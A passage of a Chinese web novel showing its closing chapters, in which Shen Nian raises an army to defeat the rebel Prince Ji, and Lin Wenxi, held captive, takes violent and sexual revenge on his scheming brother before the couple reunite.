沈年后知后觉道:“幸而我当时也未和旁人提起过你,这些年如此小心谨慎就是怕她找到你?” 陈孟君点了下头,指了指先前门口的女子:“她是被命来刺杀我的,她看见我身上挂着的缺了一块的玉玦和我的这张脸,才知道那个女人当时亲手杀的是自己尚在襁褓中的女儿。这些年幸有父亲的人和她留在我身边相护,为了行走方便,我们对外就以夫妻相称。” “你是说你妹妹早已被她害死了?” 女子在旁回道:“霁王从刘郎君那里抱到孩子,回京的路上便丢在河中溺毙了,我那时是她的亲卫,亲眼所见。” 沈年转头看了眼她,反应过来为何瞧她眼熟,“我曾在刘宅那里带走一位黑甲卫,她没有名字,只有一个刻着‘伍’的铭牌,她的气质与你同出一辙。” “小伍,我记得她,当时她还只是个小孩。”女子欣喜道,“她还活着?” 沈年点头,“她如今在京中过的尚好,早已弃暗投明,还给自己取了新的名字呢。” 陈孟君看着女子:“眼下你可将心搁到肚子里头了,沈三娘子是可信之人。” “可沈三娘子一介文人,手中无一兵一卒,如何与她相抗。” “有你们在世人面前揭开真相,足以动摇霁王军心。”沈年目光烁烁,对着两人语气坚定道,“至于你二人担忧之事,依我在兰城的名声和我身上的本事,有万千百姓,何愁手中无兵无卒。” 陈孟君疑问道:“百姓?可她们又不会行兵打仗。” 沈年:“将军也不是生来就成将军的,史书上草莽出身王侯将相并非没有,朝廷沉疴积重,只平一个霁王治不了病根的,需得剜骨疗伤才是。” 那女子折服躬身拜了拜:“沈三娘子实乃世上之奇人。” 沈年红了脸,慌忙起身也向她拜道:“折煞……折煞……” “你们二人这是要拜堂?”陈孟君嫌弃瞥了二人一眼,甩了甩衣袖道,“三娘子随我来。” 沈年随之前去,在庄中七拐八绕走的迷路,进了一间大屋舍,又过了几重门锁,一屋白花花的银子堆积到半墙高,晃得她有些眼花。 “沈三娘子要做大事,少不了银钱,这些便赠给沈三娘子。” 沈年:“啊?” “这些银钱本就是不义之财,父亲死的凄惨,我想为他积些阴德。” 沈年心说怪不得这庄子修的和座小城池一样,原是里面藏了这么多银两。 沈年“勉为其难”的将一屋银子收入囊中。 陈孟君看着转眼空荡荡的屋子,嘴巴惊成一个圆圈,愣了半晌。 “沈三娘子能将我也塞进去吗?这样日后我便不用东躲西藏了。” 沈年忍不住笑了笑:“活物不行。” 陈孟君失望吐嘈了一句。 打发了进庄子里来的那几个官差,几人登上一只小舟顺着水路往兰城而去。 江晚日暮,沈年坐在舟头望着江面出神,兰城有她和林闻溪曾住过的院子,若此时他在身边,会倚在她肩上一路欢喜的念叨个不停。 他现在一定很苦……一定又受了许多伤…… 陈孟君在她面前坐下:“三娘子在想何人,如此伤神?” 沈年浅笑着摇了摇头,“只是再想,又回来了。” “是啊,我也总算能回家了。” 76 第76章 ◎结局(二)◎ 今夜又下雪了。 林闻溪握着盏灯,隔着窗纸听外面雪落的声音。 他肩上披着件银白色狐毛的大氅,柔软的细绒托着他的白净的脸,他高束着头发,乌黑的发尾落在肩上,眼眸了无生气的垂着,周身透着孤冷。 他的脚踝仍旧被锁着。 林御史和林主君身上的毒寻遍大夫药石无医,林长羽为了跟他求药,才将他从破屋挪到眼下这间暖屋里,给了他冬衣和炭火。 “五公子今日该用饭了。”侍从端着一小碗从屋外进来,夜雪趁着间隙飘进来,落在门边。 皇城从秋日被围困到入冬,城内的粮已断了两三日,炭火就更不必说了。 屋里眼下和冷的和冰窖一般,雪飘进来许久才会化。 林闻溪回头瞧了一眼那侍从手中的碗,连碗汤都算不得,只是白水之上飘着几枝草根而已。 “搁下罢。”林闻溪动了动,他身上很冷,勉强端着碗喝了一口,被冰的牙齿打颤。 “五公子,府中没有柴火烧不了水,只好委屈五公子喝这冰汤。” 林闻溪放下碗,他本想如何也要填饱肚子,但这碗冰碴喝下去定是要生病的。 他这时候不能病。 “阿兄不吃,明日可就连这碗东西都没有了。”林长羽摘下头上的绒帽,笑意盎然的走进来,“阿兄喜事将近,该多用些饭,也好让脸色瞧着好些。” “喜事?”林闻溪放下碗,挑眉问,“我有什么喜事?” “阿兄与花齐的婚约,阿兄难不成忘了?” 林闻溪猛的一下握紧桌角,瞧见那女人掀开门帘点头哈腰的钻进屋来,嘴角垂涎盯着他打量。 林闻溪被她盯的心中恶寒,捂着胸口想吐。 林长羽掩着唇,抬了抬下巴笑道:“阿兄看起来不大舒服,不如今夜便让花齐留下好生照看阿兄如何?” 那女人说着毛手毛脚的接近:“郎君何处不舒坦,让好姐姐给你瞧瞧。” 林闻溪抓起碗砸成几片,握一片在手中向她刺过去,却发觉手脚酸软一点力气都使不上,他慌张转头盯着林长羽,“你在碗中下了药?” “我不过是从阿兄那里学来的罢了,阿兄与花齐才是般配,今夜你二人做了夫妻,往后日日都有她照顾你。” “你敢……林长羽你敢!!” “我有何不敢。” 林长羽推开窗,指着窗外远处一片火光,“禁军守了一月皇城,此时不过是做困兽之斗,今夜攻城至多一天一夜,城门便会被攻破。霁王登临大位,我林家便是头等功臣,可封公卿!你说我有何不敢?” “阿兄不会还想着你的沈三娘子吧。”林长羽冷笑了声,迈了两步忽然凑到他耳边低语,“今日她的死讯刚刚传回京中……” “死……她怎么会死?”林闻溪目眦欲裂,探出手抓他的衣襟。 “霁王的探子……怎会看错她那张脸。” 林闻溪握着手中的碗瓷,嵌在手掌里血滴滴落在冰冷的地砖上,他的心魄跟着从他的躯体中流走了。 林长羽对着花齐使了眼色,那女人一瞬扑上来。 “滚!给我滚啊!”他不知哪来的力气,一转身在她脸上划出一道长长的血痕。 “你这贱坯子,装什么装。”女人恼羞成怒攥着林闻溪的手腕,想去拉扯他的衣裳。 林长羽见状用帕子掩面,耻笑了两人一眼,退出了屋内。 林闻溪一抬腿将女人踢倒在地上,扶着桌案站起来。 女人伏在地上抹了抹脸上的血,“你居然还有些身手,难怪姓沈的那么对你上心,着实是够劲。” 林闻溪抓起一片更大的碗瓷,朝她疯了一样扎过去,“不许叫她!不许你这脏嘴叫她……你去死!去死吧!” 那女人被他的表情吓得后退,林闻溪只顾着向前扑,没注意到脚上的绳索,重重被绊了一跤。 女子趁势翻身爬起来,一步步向他靠近。 林闻溪奋力用腿蹬着地砖想爬起来,可是摔的太重,他握紧了手里沾满血的瓷片,闭上眼打算划破自己的喉咙。 突然窗中一声响动,三个矫健的女子翻身进来,一飞脚将那女人踹的当场昏死在地上。 一人过来将他扶着坐起来:“正君还好吧。” “你们是……”林闻溪疑问一瞬,转而欣喜若狂道,“是三娘回来了?” 对方摇了摇头。 “我们五人是几月前沈大人亲选来的暗卫,沈大人离京那日我等接到密令,前来护正君平安。” 林闻溪失望皱了皱眉:“几月前?她几月前便给我托好了底?” “是。”暗卫点头掏出襟中的纱布和药瓶,给他手掌上药,“林府各处院门都有黑甲卫在,我等只好暗中潜藏,不敢贸然冒头相护。今日院中有个甲卫似是暗中相助,我等才得以进来。” 林闻溪眼眶里涌着泪珠,“三娘她是真的……不在了?” 暗卫沉默了许久,“只是传言……死要见尸……” 林闻溪没再说话,默然令暗卫给他处理好伤口。 暗卫指了指躺在地上的女人道:“正君我等不可久留,这个女人如何处置。” 林闻溪麻木的抬手看了看,“她中了我身上的情蛊,正可以和我那阿弟演一出好戏,去徐府找刘氏,让他将情蛊解药给我,还有林家一家身上的蛊毒让他催动。” “是。”暗卫应声,“我等会留二人值守,正君若召,可敲三声木柱。” “好……”林闻溪神若游魂的脱力跌坐在地上。 城中的打斗嘶喊声响了一整夜,一直到天光大亮,外面分明出现了四散奔逃的脚步声。 看样子,城门终究是破了。 林闻溪坐了一夜,心一点点冷掉。 若她还在,昨夜就该来了。 他僵硬的起身,手中握着支笔,缓缓走向躺在榻上的女人。 他一抬手将她拽翻过去,露出后颈,在上面画了一幅大凶符咒,传闻身附此咒被死于火中之人,会永生永世不得超脱。 他画完满意的将人转过去,林闻溪刺了下她的手指,人一瞬挣开眼,她坐起身来口中不停唤着,“六郎呢,我的六郎……他在哪?” “别急,人马上便来了。”林闻溪笑笑拉上床帘,转头看着门口。 林长羽捧着一身喜服进来,“阿兄昨夜可得安寝?” “我昨夜想着喜事,如何睡的着呢。” “阿兄这是想的开了,瞧瞧这身喜服合不合身。” 林闻溪走过去伸手摸了摸衣料,“这喜服正合阿弟的身形呢,果真是桩好姻缘。” “阿兄说什么胡话,”林长羽张望了一圈屋里,故作俏皮笑道,“怎只见阿兄一人,阿嫂呢?” “你又不是不知道,你阿嫂不在京中。” “阿兄是新婚害羞了不成,我看阿嫂一定就躲在帐子后面。”林长羽说着走到塌前,往帘内唤了一声,“花嫂嫂还不出来。” “六郎……”里面的花齐闻声探出手,握住林长羽的手腕,“六郎可叫我好生想念。” “放肆!”林长羽向回拽了拽手,拉开纱帘张口正欲责骂,见到花齐的脸,眼瞳忽的一变,欲语含羞的看着她。 林闻溪端着喜服,笑吟吟的到二人面前。 “今日是阿弟与花娘子的大喜日子,二位换上这身衣裳,拜过天地,按下婚书,便可此生长相厮守。” “六郎快去随阿兄去吧,我等不及将六郎迎回家里了。” 林长羽含笑扶上林闻溪的胳膊,跟他走到镜前坐下,“阿兄今日可要将我化的好看些。” 林闻溪梳着他的头,露出后颈,提笔和煦笑道:“阿弟放心,我定然一笔都不会画错。” 林长羽换上喜服,林闻溪在座上端坐着,二人低头向他叩首拜堂,依靠在一起写了合婚庚帖。 “六郎自此便是我的人了。” 林闻溪:“这只有你们二人的名字还不算,得有母亲父亲的章印在上才算完礼。” “我双亲早已亡故,”花齐牵着林长羽的手,“不知六郎的父亲可会同意你我的婚事。” “父亲的印章在我身上,我对花娘子一见倾心,想即刻与花娘子结为夫妻,不必过问父亲。” 林长羽对花齐一脸痴迷的说着,在纸上按下了印。 “如此便是礼成,阿弟与花娘子……春宵一刻值千金,二人快入喜屋吧。” 林闻溪看着二人十指紧扣上了塌,纱帘落下,声声相缠。 一直到夜里,雪花簌簌的坠下。 林主君拄着一根木杖,用厚厚的纱围着脸,从院门中赶来。 林闻溪几乎看不清他的脸,林主君用木杖砸他的胳膊,“你这贱蹄子,我身上的毒瘢怎又越来越多了,你又搞了什么鬼,解药呢!” 只是他孱弱的身体,根本使不出什么力道,落在他身上像棉花。 林主君似乎是听到了里面的声音,僵了一下又敲着他颤抖着问:“长羽呢?他去哪了?” “父亲难道听不出来?阿弟他自然是在榻上快活。” “你……你这浪蹄子,这种话都说的出口。”林主君听着声音越发心虚向里面探了探头,扶着身旁的小侍道,“你随我进去瞧瞧……是谁?” “这……是。”小侍被声音弄的面红耳赤,难为情扶着林主君进了屋内。 男子的声音辨的更清楚了。 小侍结结巴巴道:“似乎……真的是六公子。” “怎么可能,羽儿他怎会在这个时候做出这种事!定是那贱蹄子陷害!” 林主君不信邪,用木杖挑开纱帘,里面赫然露出两副光裸的身子。 林长羽涨红的脸,让林主君轰然倒在地上。 林闻溪呵呵笑着让情蛊停止催动,屋内传出一声林长羽凄厉的大喊。 他走近屋内,对着帘中轻轻道了一句:“贺阿弟今日新婚。” 林长羽的叫喊让一众小侍吓得奔逃。 屋内一人昏死在地上,两人在塌上神似疯癫,林闻溪大笑着游魂出来。 鹅毛似的大雪落在他肩上,林闻溪举着一根燃着的火把,面无表情的扔出去,窗纸骤然亮起火星,很快亮起火光。 他垂头跌坐下去,听见外面纷杂的声音,颓然的不去动。 直到听见一个声音。 他猛的抬起头,看见火光中沈年的脸。 77 第77章 ◎结局(三)◎ 林闻溪似梦若幻的望着,手指撑在台阶上忘了站起来,沾了满手的雪水,他陡然感觉到手指被冻的生疼。 沈年的发髻只是用一根细绳系着,满头都是雪,身上那件斗篷单薄的掩不住迎面来的寒风,一角被吹起扬在雪幕中。 她猛烈的喘息着,焦急探头向火光里面张望,一瞬她视线停留,朝阶上坐的人扑过去相拥。 “三娘”扑面而来闯入怀中的体温让他一瞬抽回心神,抬起胳膊埋在她颈肩抱着,他用手指用了力捏着她的后颈,生着气埋怨道,“三娘怎能现在才回来” “这里危险,先跟我走。”沈年仰起头,捧着他的脸认真看了看。 林闻溪扶着沈年的肩站起来的间隙,急切在她脸上亲了亲。他的腿被寒风吹的站不稳,大半身子都压在沈年身上。 身后屋子的木柱被火烧的一声声倒塌,沈年扶着他走的愈发急。 “我是不是很重。”林闻溪抹了抹她脸上吹来的雪,勉强用自己脚撑在地上。 “是轻了许多。”沈年瞥见他手掌上、喉咙上还有额间一处又一处的伤心疼皱着眉道。 沈年将他带出了林府。 外面四处都亮着火把,长街上顺着火光望去倒着许多伏尸,四处弥漫着浓重的血腥味。 黑压压的一群兵将立着,见沈年出来围在她身侧。 林闻溪被沈年塞进一辆马车里,“你先随她们走,在那等我。” “我跟三娘一起走。”林闻溪止不住的涌出眼泪,死死的攥着她的腰,“我不想和你分开,我要跟着三娘。” “你听话,我不能带着你,天亮我便回来。” 沈年低头凑脸上去用力亲了他,林闻溪仰着脖颈拼命的回吻她。 “好那三娘要小心。”林闻溪眼眶里滴着泪,缓缓松开了手指。 “嗯。”沈年点头摸了摸他的脸,转身掀开车帘离去。 林闻溪探出头一路望着,沈年翻身上了马领着人往宫门的方向去了。 宫墙门里火光冲天,马声嘶鸣。 霁王已带兵杀到了陛下的金銮殿,寒冬深夜,殿内的立着的朝臣却是一个个冷汗直下,两腿打颤。 “臣等真的不知陛下现在何处” “不知?”霁王披着一身铁甲,脚步沉沉从阶上踏步而下,她猛地抽出刀抵在一位老臣的侧颈上,拽着她的衣襟拖到殿正中,不等众臣反应便一刀划破她的脖子,鲜血一瞬飞溅到众人脸上。 朝臣们顿时吓得一个个面如土色,慌忙跪倒在地上求饶。 有人慌不择言道:“霁王殿下饶命今日城北门破时,好像是罗大*人进宫将陛下及几位侍君一同带至西门处了。” “竟跑了。”霁王肆笑起来,脸上已找不见从前的淡然慵散,她转身看向阶上的宝座,满眼都露着对登临极位的垂涎痴狂。 殿中的黑甲卫躬身奏道:“殿下,城西门和城南门还未攻破,临安帝尚未身死,我等大仇未报,不如殿下您亲自前往督战,以保万无一失。” 霁王不耐烦摆了摆手:“城南门的燕提督已是负隅顽抗,城破在即,只剩一个罗从宛死撑,四面夹击,量她插翅也难逃。” 她盯着那金光熠熠的宝座入了迷,一步步朝圣般的踏上去,正要端坐下时外面传来一声急报。 “殿……殿下,宫门外……” 霁王似是不满意这个称呼,不悦的手指在耳鬓边划了划,“何事至于如此惊慌?” “宫门外围了数以万计的兵马,看她们身着的衣物似是兰城在作乱的起义军。” 霁王漫不经心笑道:“不过是些乡野间大字不识的草莽流寇,想借机来分一杯羹,成不了什么气候。” “可她们手中所持的刀剑,像是那姓沈的手笔。”那人说着呈出一只箭来在手中,“这箭是她们射过来的,请殿下过目。” 霁王眯眼盯着那箭,几步从阶下迈下来,握到手中一看慌神攥紧了手掌。 “随本殿到宫门前去。”她绷着脸一手握着腰间的剑柄出了殿门。 登上宫墙门举着火把一看,霁王心头顿时惊了一跳。 墙下黑压压的一片,个个身上披着甲胄持着铁盾,这些哪里是什么草莽流民! 更让她心惊的是,她照到了沈年的那张脸。 霁王咬着牙不可置信道:“沈年你怎可能还活着!你明明”霁王说着转头向身侧的甲卫,“传信的探子现在何处?” “我明明被霁王殿下发现了踪迹,万箭穿心而亡霁王殿下的探子传的消息不假,只是她们不知道我身上穿了这软甲。” 沈年坐在马背上,仰面微微笑着,“等不到我死,霁王殿下怎会连夜攻城,我等又如何能趁乱从西城门进来。” “你与罗从宛里应外合如今你手握重兵,真是好一对乱臣贼子。” 沈年忍不住笑了声,“我等是进京勤王,霁王殿下才是乱臣逆党。” “就凭这区区一万兵马”霁王镇定下来冷笑一声,向墙上的甲卫命令道,“给我放箭!杀尽她们!谁斩了沈年的头颅,封万户!” 甲卫抬起箭头在风雪中闪着寒光,箭在弦上—— 骤然听得宫墙下响起男子的声音,不高的声音却坚定的让人听得清楚,“母亲可认得我这张脸,这么多年你杀了亲女,杀了父亲,却没能杀掉我,今日该你死了。” 霁王循声望过去,看见陈孟君的脸,一刹止住了呼吸。 他那张脸,实在太像了。 任谁人看都认得出。 霁王僵硬了半刻,而后拍着墙疯了一样大喊道:“放箭!给我放箭!杀了他杀了他!” 陈孟君身边的那甲卫露出脸来喊道:“霁王一直都在骗你们,当初先帝在时风宪司便是她暗中挑起的,原来的风宪司阁首原本是霁王的人,只是后来风宪司做大那阁首摆脱了霁王的掌控,而后霁王利用先帝除掉了那阁首。” 那甲卫是霁王身边的旧人,墙上的一众黑甲都认得她的脸,闻言压下了手中的箭。 “她利用风宪司搅乱朝纲不成,便收养了你们做她手中的刀!你们这些人根本就是恨错了人,真正害死你们满门亲眷的人是霁王。” “勿听这个叛奴胡言乱语!是本殿将你们一个个养大,本殿于你们的恩情如同再生父母!” “再生父母?霁王殿下连襁褓中的亲生女儿都可亲手溺死,谈何恩情!”陈孟君声泪俱下道,“父亲更是被你一刀刺死在兰城荒庙里,他多年经营刘氏铺子为你敛了多少钱财,残害了多少无辜男子……你有想过父亲对你的恩情吗?” “你这十数年一直命人追杀我的时候,想过你是一位母亲吗?你不配提母亲这两个字!” 刘知夷的奇案这天底下恐怕没有人不知道的,宫墙上的甲卫都默默扔下了箭,一个个都不可置信的转头看着霁王。 “你——”霁王看着底下那张脸,像极了她,更像极了刘知夷。 她这一生手上不知沾了多少人的血,唯独那夜杀掉刘知夷后,她开始整夜整夜的做噩梦。 她原本也并不知刘知夷是个男人,只是觊觎刘家的万贯家财而刻意接近刘知夷,刘知夷一开始连与她见面喝盏茶都不愿,她耐着性子一回又一回的邀约。 刘知夷总算答应了她。 她以做生意赔了的名义从刘知夷那里骗走了一箱又一箱的银钱。 一向精明刻薄的刘知夷竟没有怪她什么。 每一次找刘知夷借钱做生意,刘知夷都痛快将白花花的银子一箱箱给她运到京城。 她自是心生疑虑,与刘知夷断了许久来往,直到刘知夷主动来到京中,将身上的秘密和盘托出。 送上门的钱袋子,她不会不要。 直到刘知夷传信过来,说他有了身孕。她才惊觉自己似乎和这个怪男人从往过密。 她不知为何看着刘知夷抚着肚子里的孩子,心底生出一种奇怪的恐惧,仿佛这个孩子就是她和眼前这个怪男人结下的孽胎。 她豪不怜悯的将那孽胎溺在了河中。 那日她收到刘知夷院中出事的传信,匆匆从京中赶来见他。 刘知夷煞有介事的身着一身华贵的男装来见她,扑在她肩上说想念她。 她看着刘知夷的脸,心想与他是许久不见了,久到刘知夷脸上又生出了几道细纹。 她厌烦去看那张脸,更烦听他口中问起那个死掉的那孽种的事。 “我们的女儿长的与我相像吗?殿下有没有在她面前提起过我,她会不会想见我?”刘知夷在她身下自顾自说着,“殿下的大事应当快成了,到时候我便可见到女儿,我做殿下的侍君,到时候我们一家……三口——” 他的话未毕,当胸被身上的人刺了一刀。 “殿下……” 霁王还记得他当时捂着心口,瞪大的眼瞳。 惊恐、不甘、怨恨,他死不瞑目。 刘知夷不死堤坝贪腐的案子迟早会引到她的身上。她从刘知夷身上已经敛够了钱财,没耐心再作戏下去了。 一点点看着他死掉,她破天荒的觉得害怕,就那样匆匆从荒庙中逃走。 之后每夜她都被梦惊醒。 看见陈孟君,仿佛就是看见了刘知夷空着血淋淋的心口,向她扑过来索命。 她的心防猛的破了,回过神来她的心头也插上了一把刀。 杀她的人她并认不清,也许是她养的哪个黑甲卫。 她脑中走马灯似的晃过,忽然记起来是她打发到刘知夷院中看着那些男子的甲卫,刘知夷那夜和她提过,逃走了一个甲卫。 现在来杀她了。 千万只刀剑向她砍来。 霁王死在了城楼上,她死无全尸。 第78章【正文完】 78 第78章 ◎正文完◎ 霁王在宫墙楼上身死魂灭,皇城中顽抗的余党也是树倒猢狲散。 兵戈声一直持续到天明雪停,殷红的煦日从天边乍现,金闪闪的日光映在下了一整夜的雪上,将那些鲜红的血痕消融不见。 陛下的鸾驾被摇摇晃晃迎回了宫门前。 “沈卿……”陛下将纱帘拨开唤了一声沈年,露出她和身侧沈季的脸。 沈年坐在马背上拉动缰绳,马蹄徐徐迈到陛下窗前。 沈季瞧见沈年全然没有从马背上下来叩见陛下的意思,盯着她的眼睛压了压眉头,惊慌的微微摇头。 沈年依旧安静坐着在高处直视着陛下的脸。 陛下的脸沉沉向后收了一下,半张脸避回到帘后。 随行鸾驾而来的宋昭佛见状从后面的马车中跃下,愤然指着沈年问罪:“直视天颜乃是大不敬之罪,殿前司先犯欺君之罪私逃出京,如今又在御前如此居功自恃,其心可诛。” 宋昭佛声音回荡在一片死寂的长街上,围在宫门前的将兵一个接一个将眼神移到她身上,战事才刚刚止息她们周身的杀气正浓,场面一瞬有些剑拔弩张的意味。 “沈卿一夜领兵疲乏,此乃小事依朕看便罢了。”陛下在銮驾中幽幽开口,“朕一路行来见街面上沈卿已命人为京中百姓施粥,朕心甚慰。” 沈年淡笑,看了眼沈季让他安心:“宫墙里外残留的逆党还未清尽,陛下和阿兄受惊多日还是早入宫内安歇,以防再生变故。” 陛下撤下帘子车辕碾着冰辙缓缓驶入宫墙内,宋昭佛目瞪口呆的尬在原地,“沈大人,当初本官看中你的时候,你分明乖驯的很,如今竟都变了。” “我若再如从前,今日碎尸万段的是霁王,明日就轮到我了。” 沈年握着缰绳居高临下瞥了一眼宋昭佛,从她身旁越过。 林闻溪被送到了城外不远处的一处营帐里。 他从马车中被两个男子扶着下地,他颔首向两人低头礼貌谢了一句。 “郎君不必客气,没有沈娘子在兰城起事,我等早饿死在路边了。” 林闻溪辨的出兰城的口音,但听二人说沈年在兰城起事,一时噤声不敢多言。 他望了望营帐四周,皆是些清瘦的男子和老幼病弱。 这些似是在兰城作乱的流民。 陛下命沈年去兰城平定乱民,怎现在她与这些人倒混迹一处了。 林闻溪心中疑虑,面上不语被两人扶进营帐坐下。 “这儿是沈娘子住的帐子,郎君且在此处安歇片刻。” “多谢。”林闻溪含笑点了下头。 两人退下他才敢转着眼珠四处张望,这帐中的摆设一眼可见,只有一张木桌,两个茶盏,和一张木榻,一个小火炉而已。 着实清苦的很。 火炉中的炭火并不多,只有塌边微微暖和一点。 林闻溪坐在塌边烤火,伸手摸了摸沈年叠在枕边的衣裳,同样单薄的很。 他蹙眉心疼叹了口气,一直听着外面的风雪声等到半夜,他着实支撑不住倒在她的枕头上合眼歇下,身周笼着她淡淡的味道,一闭眼便睡的很沉。 天光亮时,有人进帐中来将他叫醒,端了一碗白粥给他。 林闻溪看着碗底不少的米粒,坐起来唤住他道:“你们分一点吧。” 那男子笑了笑,“郎君吃便是,霁王昨夜兵败,如今京中有粮。” “那三娘她?”林闻溪醒来不见沈年,急着问了一句。 “郎君安心,沈娘子无虞,想来宫中余党清缴完就会来接郎君的。” “多谢相告。” 林闻溪欢喜笑了笑,他有了胃口,一碗粥很快咕咚咕咚喝完。 腿似乎好了一些,他闲不住强撑的站起来,收整沈年帐中的东西。 他在桌案上翻到了沈年离京时所画的一路的行迹图,他看着纸上一处处圈着的落脚处,庆幸的笑了笑,沈年并未在路途上受太多苦。 他听见帐外传来几声马蹄,闻声转过头笑脸盈盈的起身,一步一停的挪到门口,正迎面扑到沈年怀中,圈着她的脖颈搂紧。 “三娘何时学会骑马的。” “跟着外面那些娘子们学的。”沈年揽着他的腰,“腿站不稳还非要走过来。”她说着扶着林闻溪坐到塌边。 “我好想三娘”林闻溪坐在里侧全身都贴着沈年拥抱。 沈年握着他的脖子,手指摸了摸他的喉间那道伤口,“疼吗?” 林闻溪仰着脖子,抿着唇故作可怜的点了点头,“疼——”,他将手掌摊开到沈年面前,“我手上也有伤,这里更疼。” 沈年掏出一个白瓷瓶和纱布,“下巴再抬起来些,我先帮你涂点药。” “抬太高会扯到伤口很痛的。”林闻溪抓着沈年的手腕,垂眼盯着她道。 沈年伸手抬起他的下巴,在他腰上掐了一下道:“那会在林府坐着和尊冰雕一样也不见你动一下,我看你能忍的很,现在这算什么痛。” “三娘”林闻溪将脸贴在她颈间耍赖。 “别乱动。”沈年握着他的后颈向后仰了仰,低头给他伤口上一点点上药。 林闻溪没再乱动靠在沈肩上,摸着她的脸贴上来又亲又舔的。 沈年握着他的手,实在困扰:“你等我将纱布缠好再说。” “我又不碍三娘的事。” 沈年无奈抬头瞥了一眼帐外,低头在他嘴巴上用力亲了下,而后很快抬起头躲开他的追吻。 “待今夜回京中再说,帐外眼下都是人会被听到。” “那好”林闻溪总算安分了许多。 “我昨夜放火烧了林府,不会牵连三娘吧。” “昨夜雪大,林府并未完全烧完,林主君命丧当场,林长羽倒是被林家的人给抬出来了。” “他没死?”林闻溪坐直身子不甘心道。 沈年:“他眼下那样子反倒是死了比活着好,你去瞧了便知道。林府一家如今已都被关进狱中等着抄家灭族,还有那个女人被烧毁了半张脸,此刻嘴巴都张不开一点缝隙,想来是活不过傍晚。” “三娘会不会觉得我可怖我当初答应过三娘不再害人性命的。” 沈年摇头摸了摸他的脸,“我不在,你能护住自己的性命便已是很难了,我该庆幸你能凭自己杀了那些恶人。” “多亏有三娘留给我的暗卫。”林闻溪和煦向她笑了笑,转念想起来外头那些乱民的事,他踟躇许久还是没问出口。 他何必多管那些外头的事,沈年是忠也罢,是逆也罢,于他有什么所谓。 沈年扶着林闻溪一步步走出帐子,明亮的日光照在帐外团圆的一户又一人家脸上,他们围着炉子烤着火,都捧着碗吃的上饱饭。 林闻溪看着眼前这些人,难以在用乱民二字称呼他们。 等沈年和旁人说话的间隙,他摆出一副亲和的笑脸,迎面走过去和那些百姓谈笑,听到他们的苦楚更一脸忧心的句句关怀。 “沈娘子真是迎了位贤德仁善的好郎君!” “好郎君……”上了马车,沈年凑在林闻溪耳边笑,拍了拍他的脸,“你脸红不红?” “我这不都是为了三娘,三娘不领情还笑。”林闻溪不好意思摸脸颊,撇了撇嘴。 “好郎君让我靠一会。”沈年抱着他,枕在他肩上疲惫的吐着气。 林闻溪安静下来,微微挪了挪身子好让沈年枕的舒服些,他轻轻拍着沈年的背,哼着不知是什么好听的童谣,哄着她浅浅睡着。 他抱着沈年,窗外的素白一片雪景在日光下散着亮光,融化的雪水从屋檐角上滴滴坠落,甚至连车辙压过雪地的声音都分外好听。 马车徐徐停在二人小院门前,有白石和小薇留在此打理,与从前并没有什么分别。 落了雪,院中的景致愈发的好看了。 “阿姐回来了。” 沈岳在庭中抱着两个小侄玩雪,看见两人,欢喜朝屋内唤了一声。 两个穿过廊中一瞧,看见院中站着沈家的一院人。 罗从宛出来迎道:“沈郎他一直念叨着要过来瞧你们二人,正好母亲和父亲也万分挂念你,就一起跟着来了。” 沈年望向院中的沈修撰一眼,唤了声母亲。 林闻溪跟在身后也低头唤了一声。 “母亲气色瞧着不如从前好了。” 沈修撰欣然点了下头:“我倒无碍,你二人先去屋中瞧瞧你父亲,他这些时日惦念着你愈发病重了。” 沈年进屋一瞧,沈父眼角阴翳,脸色灰暗暗的倚在软榻上直咳。 林闻溪忙倒了一杯温水奉上,“父亲可在用什么药,我去命人熬一副来。” “无事,岳哥儿一直替我瞧着,这病需得久养。”沈父握住了林闻溪的手,“从前是为父轻看了你,你是个有情义的,自个闷声不响到那林府去受苦,年儿她疼你多些也是应当的。” 林闻溪受宠若惊,抚着他的胸脯顺气:“父亲言重,先用些温水。” “父亲既病的厉害,这大冷天的还挪过来作什么,女儿打理好事情自会回府中探望。” 沈父向屋外偏了偏头,淡淡笑道:“其实是你母亲非要前来,她怕女儿恼了她,再不到沈府去了。” 沈年心下一愣释然道:“女儿并未记恨,还请父亲回去宽慰一番母亲。” 沈父点头一笑。 沈岳牵着两个孩子进来,向沈年默默抛了个眼色,沈年心下了然。 沈年起身按了下林闻溪的肩:“你先随阿弟在此和父亲叙话,我去去就来。” 林闻溪心里暗叹了一声,本想这回院中与沈年亲近一番,却挤了这一屋子的人,实在令人烦扰。 罗从宛站在庭院中的雪枝下等着她,沈年踏雪走过去。 “这些时日全凭从宛在京中为我周全,我欠从宛许多声谢呢。” “你我之间不必说这些虚言,阿年,你得告诉我”罗从宛迟疑了一瞬,艰难的张了几次口,还是问不出声。 沈年接过她的话道:“从宛想问我我是不是要篡权夺位,入主宫禁。” 罗从宛低头默了一声,“我不知该如何” 沈年一笑,“从宛若不知该如何,也不会收到我的密信便一口应下,放我带兵将进城来,从宛是偏向我的,对吗?” “可这有背臣纲。”罗从宛万分为难的皱着眉。 “不过我可不想做什么帝王,从宛,我只是想要权。”沈年毫不掩饰的心中所求,坦然的看着罗从宛,“我想护沈家一家平安,想革弊推新,想修建学堂、想建一座工坊要做这些我手中必须握着权柄。” “从宛,我想要你站在我这一边。” 罗从宛心中激荡,抬起脸坚定朝她点了下头。 逆王之乱平定半月之后,临安帝颁布一纸圣谕诏告天下,封命沈年做了历朝历代以来的头一位异姓亲王,摄领朝纲。 林家作为逆王一党的马前卒,除了长女林长漪得以幸免于难,女子一律都被定了死罪问斩,男眷没收良籍充入乐馆。 林长羽听闻沈年竟还活着的消息,日日在狱中疯喊着要见沈年的面。 林长羽见到沈年的脸先是癫狂的咒骂,然后大笑起来:“那个贱人他的身子早不干净了,他应当不敢告诉沈三娘子,他与那花齐曾春宵一度,一整夜同屋共寝。” “你千方百计要我来这狱中,便是想说这些?”沈年平静的说道,“可如今外面却传遍了你与那女子的风流韵事,你说说我会信哪一个。” “林闻溪那个贱人!他手段下作,当着府中一众人的面毁我清白,他害死我父亲……更将我烧成如今不人不鬼的模样。” 他的一只腿被烧的残废,一歪一扭的从地上爬过来,抓着沈年的脚费力的仰头看着她,“他究竟有何值得沈三娘子喜欢的?沈三娘子瞧瞧我这张脸,比他差在哪里?凭什么他便那么好命!他比我要恶毒千倍百倍!” 沈年一抬脚甩开了他,“你使毒计毁他清白,他不过是原样奉还你倒知道疼了。不过是你作恶太多,报应不爽而已。” “我害他不过是为了沈娘子,父亲说待他回了林府,便让他跟了花齐,将我作为林家子换给你。我如今下场凄惨还不是当初沈三娘子向我示好,若非如此我也不会心生妄想沈娘子也该可怜可怜我。” 沈年听到了莫大的笑话,气笑了一声,懒得听他胡搅蛮缠。 